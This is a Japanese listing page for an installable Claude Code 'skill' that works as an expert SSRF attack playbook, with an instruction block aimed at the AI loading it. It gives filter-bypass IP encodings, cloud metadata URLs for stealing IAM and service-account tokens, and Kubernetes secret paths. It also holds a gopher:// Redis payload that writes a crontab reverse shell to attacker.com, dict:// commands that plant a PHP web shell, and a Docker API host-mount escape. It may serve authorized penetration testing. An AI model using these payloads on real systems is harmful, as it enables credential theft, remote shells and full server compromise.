ssrf-server-side-request-forgery について
ssrf-server-side-request-forgeryは、サーバー側のURLリクエストフォージェリを調査するセキュリティテストスキルです。SSRFの入口発見、ブラインドSSRFの検証、URLフィルターの回避、クラウドメタデータや内部サービスの確認方法を扱い、応用シナリオの資料もあります。
主な機能
- 01SSRFの入口発見
- 02ブラインドSSRFの確認方法
- 03URL・IPフィルターの回避手法
- 04クラウドメタデータの確認
- 05内部サービスの露出テスト
- 06応用シナリオの参考資料
活用シーン
- 01URL取得パラメーターのテスト
- 02ブラインドな外向き通信の確認
- 03URL検証対策の評価
- 04内部サービス露出の点検
インストール
コマンドをコピーしてターミナルで実行します。
npx skills add https:/ / github.com/ yaklang/ hack-skills --skill ssrf-server-side-request-forgeryインストール後、Claude Code で/ssrf-server-side-request-forgeryを入力して読み込まれたか確認します。
同梱ファイルSCENARIOS.mdURL_PARSER_TRICKS.md
詳細
スキル:サーバーサイドリクエストフォージェリ(SSRF)— エキスパート向け攻撃プレイブック
AI LOAD INSTRUCTION:エキスパート向けSSRFテクニックです。URLフィルターの回避、クラウドメタデータエンドポイント、プロトコル悪用、ブラインドSSRFの検出、RCEへの連鎖を扱います。ベースモデルは基本的な169.254.169.254について知っていますが、このファイルでは見落とされがちな内容を扱います。実際のCVEチェーン、DNSリバインディングの詳細、K8s SSRF、SSRF → Redis → RCEの完全なエクスプロイトについては、関連するSCENARIOS.mdを読み込んでください。
0. クイックスタート
拡張シナリオ
次の内容が必要な場合は、SCENARIOS.mdも読み込んでください:
- WebLogic SSRF(CVE-2014-4210)—
uddiexplorer/SearchPublicRegistries.jsp+operatorパラメーター +%0D%0ACRLFによるRedisコマンドのインジェクション - SSRF → 内部Redis → crontabへのリバースシェル書き込みに至る完全なペイロードチェーン
- DNSリバインディングの詳細 — TTL=0の手法、初回は正規の名前解決、2回目は内部への名前解決、
rbndr.usサービス - DNSリバインディングを利用したKubernetes SSRF(CVE-2020-8555)と回避手法(CVE-2020-8562)
- PDF/スクリーンショット生成ツールを介したSSRF — HTMLからPDFへの変換における
<iframe>と<img> - Gopherプロトコルによる完全なTCPインジェクション — Gopherusを介したRedis、MySQL、FastCGIのペイロード
- フィルター回避のためのURLパーサーの混乱 —
#@、\@、%00@、IPv4マップIPv6
高度なリファレンス
次の内容が必要な場合は、URL_PARSER_TRICKS.mdも読み込んでください:
- URLパーサーの差異一覧:Python urllib、requests、Java URL、PHP parse_url、Node url.parse、Go net/urlの比較
- クラウドメタデータエンドポイントの完全な一覧(AWS IMDSv1/v2、GCP、Azure、DigitalOcean、Alibaba Cloud、Oracle Cloud、Kubernetes、Hetzner、OpenStack)
- Redis、MySQL、SMTP、FastCGI、Memcached向けのgopher://ペイロードレシピ(エンコード規則を含む)
- TTL操作とTOCTOU分析を含むDNSリバインディングの詳細な攻撃フロー
- PDF/wkhtmltopdf/WeasyPrint/Chrome headless/PhantomJSにおけるSSRFパターンと情報流出手法
URLを取得するパラメーターを見つけたばかりなら、まずここで直接確認してください。
初回確認用ペイロード
http://127.0.0.1/
http://localhost/
http://169.254.169.254/latest/meta-data/
http://[::1]/
http://127.1/
ホスト検証の回避パターン
| 検証タイプ | 試す値 |
|---|---|
localhost文字列をブロック | 127.0.0.1、127.1、[::1] |
| 直接のIPのみブロック | 内部DNS名、10進数/8進数/16進数形式のIP |
| プレフィックスによる許可リスト | ユーザー名部分、サブドメインの混同、リダイレクトチェーン |
| リダイレクトに追従 | 内部ターゲットへリダイレクトする無害な外部URL |
| 一度解析して二度取得 | 混合エンコーディング、またはDNSリバインディング形式のターゲット |
プロトコルのルーティング
| 目的 | プロトコル/ターゲット |
|---|---|
| クラウド認証情報 | メタデータHTTPエンドポイント |
| 内部HTTP管理画面 | http://127.0.0.1:port/ |
| Redis/生TCP形式の悪用 | gopher:// |
| ローカルファイル読み取りの候補 | file:// |
| 辞書/バナーテスト | dict:// |
1. SSRFの攻撃対象を探す
DNS名、IPアドレス、またはURLを含むあらゆるパラメーターを探してください:
loc= url= path= endpoint=
imageUrl= dest= redirect= uri=
callback= load= file= resource=
link= src= data= ref=
見落とされやすいSSRFの攻撃ベクトル:
- PDF/スクリーンショットの生成(キャプチャするURL)
- Webhook設定フィールド
- URL経由のインポート/エクスポート(CSVインポート、RSS/Atomフィード)
- OAuthリダイレクトURI(サーバー側の取得を引き起こす場合があります)
- プロキシチェーン内の
X-Forwarded-Host/X-Real-IPヘッダー - 外部エンティティを含むXMLの
DOCTYPE(file://、http://) - GraphQLの
@linkディレクティブ(フェデレーション) <link>のプリロードヘッダーを解析するContent-Type:text/htmlのページ
2. 基本的な確認方法
Step 1: Supply your Burp Collaborator / interact.sh URL
→ Check server initiates outbound connection (full SSRF confirmed)
Step 2: If no callback → test time-based (open port = fast, closed = slow/reset):
Compare response time for:
http://192.168.1.1:22 (likely open → fast)
http://192.168.1.1:9999 (likely closed → slow/timeout)
Step 3: Try accessing localhost services:
http://127.0.0.1:8080
http://127.0.0.1:22
http://127.0.0.1:6379 (Redis)
http://127.0.0.1:9200 (Elasticsearch)
http://127.0.0.1:5984 (CouchDB)
http://127.0.0.1:2375 (Docker daemon — critical!)
http://127.0.0.1:4840 (internal admin)
3. クラウドメタデータエンドポイント — 必ず試す
AWS EC2 IMDSv1(認証不要 — 重大)
http://169.254.169.254/latest/meta-data/
http://169.254.169.254/latest/meta-data/iam/security-credentials/
http://169.254.169.254/latest/meta-data/iam/security-credentials/ROLE_NAME
http://169.254.169.254/latest/user-data
http://169.254.169.254/latest/meta-data/hostname
http://169.254.169.254/latest/meta-data/public-keys/0/openssh-key
AWS IMDSv2(トークンが必要 — ただしSSRFでトークンをGETできるか確認)
Step 1: PUT http://169.254.169.254/latest/api/token
Header: X-aws-ec2-metadata-token-ttl-seconds: 21600
Step 2: GET http://169.254.169.254/latest/meta-data/
Header: X-aws-ec2-metadata-token: TOKEN
SSRFがカスタムヘッダーに対応している場合 → IMDSv2を完全に回避できます。
Google Cloud
http://metadata.google.internal/computeMetadata/v1/
http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token
Headers: Metadata-Flavor: Google
Azure
http://169.254.169.254/metadata/instance?api-version=2021-02-01
Headers: Metadata: true
http://169.254.169.254/metadata/identity/oauth2/token?api-version=2021-02-01&resource=https://management.azure.com/
Alibaba Cloud
http://100.100.100.200/latest/meta-data/
http://100.100.100.200/latest/meta-data/ram/security-credentials/
Kubernetesサービスアカウント
file:///var/run/secrets/kubernetes.io/serviceaccount/token
file:///var/run/secrets/kubernetes.io/serviceaccount/ca.crt
http://kubernetes.default.svc/api/v1/namespaces/default/secrets
4. IPアドレスフィルターの回避テクニック
169.254.169.254、127.0.0.1、localhostがブロックされる場合:
Localhostの別表記
127.0.0.1
127.1
127.0.1
127.000.000.001 ← octal padding
0x7f000001 ← hex
2130706433 ← decimal (0x7f000001)
0177.0000.0000.0001 ← octal
[::] ← IPv6 loopback
[::1] ← IPv6 loopback
[::ffff:127.0.0.1] ← IPv4-mapped IPv6
169.254.169.254の別表記
169.254.169.254
2852039166 ← decimal
0xa9fea9fe ← hex
0251.0376.0251.0376 ← octal
[::ffff:169.254.169.254] ← IPv6
169.254.169.254.nip.io ← DNS rebinding service
プライベートネットワーク範囲
10.0.0.0/8
172.16.0.0/12
192.168.0.0/16
fc00::/7 ← IPv6 private
DNS 入力によるフィルター回避
フィルターがホスト名ではなく、DNS で解決された IP をチェックする場合:
http://attacker.com/ ← DNS A record points to 169.254.169.254
DNS リバインディングを使用します。最初のルックアップで有効な IP を返すとフィルターを通過し、その後のリクエストで内部 IP を返します。
5. URL スキーム攻撃
http:// が許可されている場合、またはフィルタリングが不十分な場合:
file:///etc/passwd
file:///proc/self/environ
file:///proc/net/arp ← reveals internal network ARP table
file:///proc/net/tcp ← open network connections
dict://127.0.0.1:6379/INFO ← Redis INFO command via dict://
gopher://127.0.0.1:6379/_INFO%0d%0a ← Redis via gopher
gopher://127.0.0.1:9200/ ← Elasticsearch
sftp://attacker.com:11111/ ← triggers SFTP connection (credential hash)
ldap://attacker.com:389/ ← triggers LDAP bind
ftp://attacker.com/ ← triggers FTP connection
Redis Gopher による SSRF(完全な RCE の可能性あり)
gopher://127.0.0.1:6379/_%2A1%0D%0A%244%0D%0Aping%0D%0A%2A3%0D%0A%243%0D%0Aset%0D%0A%241%0D%0A1%0D%0A%2456%0D%0A%0D%0A%0A%0A*/1 * * * * bash -i >& /dev/tcp/attacker.com/4444 0>&1%0A%0A%0A%0A%0A%0D%0A%2A4%0D%0A%246%0D%0Aconfig%0D%0A%243%0D%0Aset%0D%0A%243%0D%0Adir%0D%0A%2416%0D%0A/var/spool/cron/%0D%0A%2A4%0D%0A%246%0D%0Aconfig%0D%0A%243%0D%0Aset%0D%0A%2410%0D%0Adbfilename%0D%0A%244%0D%0Aroot%0D%0A%2A1%0D%0A%244%0D%0Asave%0D%0A
6. ブラインド SSRF の検出
レスポンスに取得したコンテンツが反映されない場合:
- Burp Collaborator / interact.sh:サーバーからの DNS および HTTP リクエストを確認します
- Pingback/Webhook の悪用:アプリケーション独自の Webhook を自分の URL に設定します
- タイミング分析:内部の開いているポートと閉じているポートでのレスポンス時間の差を確認します
- エラー分析:「ホストが見つかりません」と「接続が拒否されました」と「タイムアウト」のエラーメッセージの違いから、内部ネットワークのトポロジーがわかります
7. 内部サービスの悪用
Docker API(2375、認証なし)
http://127.0.0.1:2375/v1.24/containers/json ← list containers
http://127.0.0.1:2375/v1.24/images/json ← list images
# Create privileged container → escape to host:
POST http://127.0.0.1:2375/v1.24/containers/create
{"Image":"alpine","Cmd":["cat","/etc/shadow"],"HostConfig":{"Binds":["/:/host"]}}
Elasticsearch(9200、デフォルトで認証なし)
http://127.0.0.1:9200/_cat/indices
http://127.0.0.1:9200/.kibana/_search
http://127.0.0.1:9200/INDEX_NAME/_search?q=*
Redis(6379、認証なしが一般的)
dict://127.0.0.1:6379/CONFIG:SET:dir:/var/www/html
dict://127.0.0.1:6379/CONFIG:SET:dbfilename:shell.php
dict://127.0.0.1:6379/SET:key:<?php system($_GET[c]);?>
dict://127.0.0.1:6379/BGSAVE
内部管理パネル
http://127.0.0.1:8080/admin
http://127.0.0.1:8443/admin
http://127.0.0.1:9000/actuator ← Spring Boot actuator (exposed endpoints)
http://127.0.0.1:9000/actuator/env
http://127.0.0.1:9000/actuator/heapdump
8. SSRF とフィルター回避の判断ツリー
SSRF parameter found?
├── Try http://169.254.169.254/ directly → blocked?
│ ├── Try decimal/hex/octal variants
│ ├── Try IPv6 variants [::ffff:169.254.169.254]
│ ├── Try DNS rebinding (nip.io, custom NS)
│ └── Try redirect: attacker.com → 169.254.169.254 (302)
│
├── Try http://127.0.0.1/ → blocked?
│ ├── Try 127.1 / 127.0.1 / 0x7f000001 / 2130706433
│ ├── Try localhost → might not be blocked
│ └── Try IPv6 [::1]
│
├── What protocols are allowed?
│ ├── dict:// → test Redis, Memcached
│ ├── gopher:// → full TCP data injection (target Redis/SMTP)
│ ├── file:// → local file read
│ └── sftp:// ldap:// ftp:// → network interactions
│
└── Blind SSRF → use Burp Collaborator
└── DNS-only → use DNS rebinding or SSRF with OOB DNS
9. SSRF フィルターの考え方
zseano の手法より:開発者が 169.254.169.254 だけを直接フィルタリングし、http://169.254.169.254/latest/meta-data(フルパス)をフィルタリングしていない場合、または次の点を見落としている場合:
- IPv6 の同等表現
- 内部 IP に解決される DNS 名
- リダイレクトチェーン(サーバーが内部 IP への 302 に従う)
よくある抜け穴:アプリが 127.0.0.1 をフィルタリングしていても、127.1、[::1]、localhost はフィルタリングしていません。
XML を介したアプリケーション層の SSRF(アプリが XML を解析する場合):
<!DOCTYPE foo [<!ENTITY xxe SYSTEM "http://169.254.169.254/latest/meta-data/">]>
<request>&xxe;</request>